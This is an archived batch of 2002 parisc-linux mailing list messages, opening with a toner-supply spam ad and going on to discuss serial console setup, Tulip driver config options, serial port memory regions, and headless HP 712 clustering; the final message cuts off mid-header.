Original-Received: from yahoo.com (da001d1485.atl-ga.osd.concentric.net [64.3.197.206])
	by hedy.com.cn (8.11.3/8.11.3) with SMTP id g1A168C13657
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 09:06:09 +0800 (CST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14002




**** VORTEX SUPPLIES ****

-SPECIALS OF THE WEEK ON LASER TONER SUPPLIES AT DISCOUNT PRICES--



ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW PRICES ON LASER PRINTER CARTRIDGEDS ARE  AS FOLLOWS:
 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

FOR HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

FOR HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


FOR LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79
OPTAA E410/412---------------------------$89


FOR EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


FOR CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

FOR CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

FOR CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.










From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel-2.4.17-pa22 boot problem B132L+ with serial console
Date: Sat, 09 Feb 2002 23:37:14 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020210063714.D0367482A@dsl2.external.hp.com>
References: <99C52A8E-1D63-11D6-BD71-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621052 2839 80.91.229.3 (22 Nov 2014 01:50:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:52 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  9 23:37:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D0367482A; Sat,  9 Feb 2002 23:37:14 -0700 (MST)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Sat, 09 Feb 2002 14:47:47 +0100." <99C52A8E-1D63-11D6-BD71-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14003

Thibaut VARENE wrote:
...
> Cross compiling on both machines the same kernel configured for 712 
> using serial console provided a functional kernel.

Does the B132 have a tulip card installed?

...
> CONFIG_TULIP=y
> # CONFIG_TULIP_MWI is not set
> CONFIG_TULIP_MMIO=y

IIRC, I've tried TULIP_MMIO and I don't think it worked. I tried this
out a few monthes back and left it disabled in my .config files.
I'm very certain CONFIG_TULIP_MWI didn't work. Slightly less
certain about TULIP_MMIO not working.

grant



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial baud_base, high baud rates and divisors
Date: Sat, 09 Feb 2002 23:50:20 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20020210065020.DCE6A482A@dsl2.external.hp.com>
References: <20020207130852.C3306@electra.intern.planb.de> <20020207163107.5E08A482A@dsl2.external.hp.com>  <20020208121405.C5128@electra.intern.planb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621052 2843 80.91.229.3 (22 Nov 2014 01:50:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Enrik Berkhan <Enrik.Berkhan@planb.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  9 23:50:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DCE6A482A; Sat,  9 Feb 2002 23:50:20 -0700 (MST)
In-Reply-To: Message from Enrik Berkhan <Enrik.Berkhan@planb.de> 
   of "Fri, 08 Feb 2002 12:14:05 +0100." <20020208121405.C5128@electra.intern.planb.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14004

Enrik Berkhan wrote:
> But enhancing the test for doubly assigned ports to
> 
>       if ((rs_table[i].port == port) &&
>           (rs_table[i].iomem_base == req->iomem_base))
> 
> might be ok. This code can be found in register_serial().

Yeah - you are right.

> BTW, drivers/gsc/serial.c does no request_mem_region(). Is this in-
> tentional?

probably. Check if an entry for serial exists in /prc/iomem.
At one point, the device discover code was changed to automatically
do the request_mem_region() devics firmware told us about.

> The hardball ers states a 7.3728MHz (== 16 * 460800) baud rate clock,
> which confirms the output of my DMM. So we would need a table holding
> the baud_base for each device?

Dunno. We might given different generations of HW.

grant



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial baud_base, high baud rates and divisors
Date: Sun, 10 Feb 2002 15:36:24 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20020210153624.H1173@parcelfarce.linux.theplanet.co.uk>
References: <20020207130852.C3306@electra.intern.planb.de> <20020207163107.5E08A482A@dsl2.external.hp.com> <20020208121405.C5128@electra.intern.planb.de> <Enrik.Berkhan@planb.de> <20020210065020.DCE6A482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621053 2847 80.91.229.3 (22 Nov 2014 01:50:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:53 +0000 (UTC)
Cc: Enrik Berkhan <Enrik.Berkhan@planb.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 08:36:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA55D482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 08:36:29 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Zw1g-0006Tq-00; Sun, 10 Feb 2002 15:36:24 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020210065020.DCE6A482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sat, Feb 09, 2002 at 11:50:20PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14005

On Sat, Feb 09, 2002 at 11:50:20PM -0700, Grant Grundler wrote:
> Enrik Berkhan wrote:
> > BTW, drivers/gsc/serial.c does no request_mem_region(). Is this in-
> > tentional?
> 
> probably. Check if an entry for serial exists in /prc/iomem.
> At one point, the device discover code was changed to automatically
> do the request_mem_region() devics firmware told us about.

Where `one point' == `last night' :-)

I'm not quite sure about the way I've done it -- I might set it up to
always claim rather than only claim on device detection, and take the
name from the hardware database rather than the driver.

I suspect I've broken module unload with the current code, and I need
a release_mem_region on deregistration... investigating now.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Radvanovsky <rsradvan@unixworks.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [REQUEST] PS/2 keyboard pinouts?
Date: Sun, 10 Feb 2002 13:48:13 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <200202101948.NAA05497@unixworks.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621053 2850 80.91.229.3 (22 Nov 2014 01:50:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 11:50:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from unixworks.net (65-85-15-21.client.dsl.net [65.85.15.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63C66482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 11:50:31 -0700 (MST)
Original-Received: from localhost (none@srvr1021.unixworks.net [65.85.15.21])
	by unixworks.net (1.0.11sp/unixworks.net) with SMTP id NAA05497
	for <parisc-linux@lists.parisc-linux.org >; Sun, 10 Feb 2002 13:48:13 -0600
X-Comment-1: Internet services provided by kempyuter kensulting services, inc.
X-Comment-2: For more information, visit our web site at http://www.k2si.com.
X-Mailer: k2simail Version 1.0.41
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14006

I recently picked up about 30+ 712 workstations, some of which will be
converted to the Debian PA/Linux operating system.  I plan on importing
the clusting software, Eddie, over to Debian and turning about 12+ of
these 712 workstations into a gigantic Linux cluster.

Unfortunately, I don't have 30+ keyboards for all of these workstations. 
Having noticed that there was one gent (Andrew Shugg) who mentioned about
a PS/2 loopback connector, I have tried in desparation to find one premade
at several computer specialty shops, including Radio Shack.  I used to
remember when Radio Shack *did* have connectors that you could make your
own style or pinout connector.	Nowadays, you just get a snot-nosed kid
who states "Whatever we have is whatever we have, dude.......whatever."
(or something like that).  I *CANNOT* seem to find any PS/2 connectors
ONLY, and for that matter, cannot seem to find documentation on the
712/60, 712/80 and 712/100 workstations keyboard connector pinout, and
which pins will enable me to bypass the IPL problem of "no keyboard, no
bootup" problem.

Anyone got any ideas on where I can get (1) pin descriptions as to how to
bypass the "no keyboard, no bootup" problem on most of the HP
workstations, and (2) where I might be able to get some PS/2 connector to
make my own "headless" Linux cluster configuration.

Thanks in advance.

Bob Radvanovsky
kempyuter kensulting services, inc.
rsradvan@k2si.com

-ad nauseum: Also... anyone know of a *good* and *FREE* Linux clustering
software that is efficient enough to run?  So far, the best one that I can
find that is fairly configurable, and robust enough is "Eddie".  But the
only drawback is that it's interpretted and runs on a language called
"Erlang".  If anyone has had experience in this matter with HP
workstations, running Debian PA/Linux, under a clustering environment (in
a house that Jack built), I'd be very interested in hearing more...  ;)))




From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FTP CVS UPDATE
Date: Sun, 10 Feb 2002 18:05:08 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <3C66B654.69929763@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621053 2854 80.91.229.3 (22 Nov 2014 01:50:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 11:53:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5889482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 11:53:33 -0700 (MST)
Original-Received: from [213.151.47.217] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 16Zz6Q-0003kU-00; Sun, 10 Feb 2002 19:53:31 +0100
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.17-evms-0.9.0-lvm-1.0.2 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14007

Hi all,

Just a suggestion for ftp://ftp.parisc-linux.org/cvs/ dir:
put a monthly full cvs co linux-2.?.?-pa??.tar.gz
then a daily incremental update.

Would it not save disk space and network usage for each part?
And for tester as I am it would be easier to save daily changes without
being obliged to save a full co or update.

(I just thought to that after the install of incremental patch on the
main linux tree)

Joel



From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [REQUEST] PS/2 keyboard pinouts?
Date: Sun, 10 Feb 2002 19:58:46 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <35D5F0CA-1E58-11D6-B0C5-0030656F07A2@esiee.fr>
References: <200202101948.NAA05497@unixworks.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621054 2859 80.91.229.3 (22 Nov 2014 01:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bob Radvanovsky <rsradvan@unixworks.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 11:58:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 409AE482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 11:58:50 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP
	id D78F249BFA; Sun, 10 Feb 2002 19:58:48 +0100 (CET)
In-Reply-To: <200202101948.NAA05497@unixworks.net>
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14008

Le dimanche 10 f=E9vrier 2002, =E0 08:48 , Bob Radvanovsky a =E9crit :

> I recently picked up about 30+ 712 workstations, some of which will be
> converted to the Debian PA/Linux operating system.  I plan on =
importing
> the clusting software, Eddie, over to Debian and turning about 12+ of
> these 712 workstations into a gigantic Linux cluster.
>
> Unfortunately, I don't have 30+ keyboards for all of these =
workstations.
>
> Anyone got any ideas on where I can get (1) pin descriptions as to how=20=

> to
> bypass the "no keyboard, no bootup" problem on most of the HP
> workstations, and (2) where I might be able to get some PS/2 connector=20=

> to
> make my own "headless" Linux cluster configuration.

Well, we had the same problem here, when we wanted to 'clusterize' a=20
bunch of 712.

You can find a solution by switching your 712 to serial console,=20
following the instructions found at:
http://lists.parisc-linux.org/hypermail/parisc-linux/0423.html

You need HP/UX ISL for that.

If you don't have it, you can download the following lifimage:
http://cvs.parisc-linux.org/build-tools/uxbootlf

and then using bootp with it...


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yasholomew Yashinski <yashy@mail.yashy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B1000
Date: Sun, 10 Feb 2002 18:53:54 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <20020210184529.Y48612-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621054 2861 80.91.229.3 (22 Nov 2014 01:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 16:53:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yashy.com (cpu2119.adsl.bellglobal.com [207.236.3.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C245482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 16:53:21 -0700 (MST)
Original-Received: from yashy (helo=localhost)
	by mail.yashy.com with local-esmtp (Exim 3.33 #1)
	id 16a3n8-000Cer-00
	for parisc-linux@lists.parisc-linux.org; Sun, 10 Feb 2002 18:53:54 -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14009

 I recently purchased an HP 9000/785/B1000. I tried to use the
pasrisc*.iso as I've been using on my 712/*'s, however there appears to be
issues using 32-bit as default. Setting up a serial console for this
machine will not be a trivial task, due to its location. Is there anyone
on the list that has such a beast, I could discuss installation with?
 My next attempt will be to setup an install using rbootd, however it
appears I will require serial console access.

 Kowtow,

--
Yashy

p.s. Thanks for all your work on parisc-linux.
p.p.s I am in the Ottawa area, and have cheap used HP's if anyone is
looking, drop me a note offlist with the machine(s) you are looking for.




From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Sun, 10 Feb 2002 23:59:10 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20020210235910.O1173@parcelfarce.linux.theplanet.co.uk>
References: <20020210184529.Y48612-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621054 2863 80.91.229.3 (22 Nov 2014 01:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yasholomew Yashinski <yashy@mail.yashy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 16:59:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74B52482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 16:59:15 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
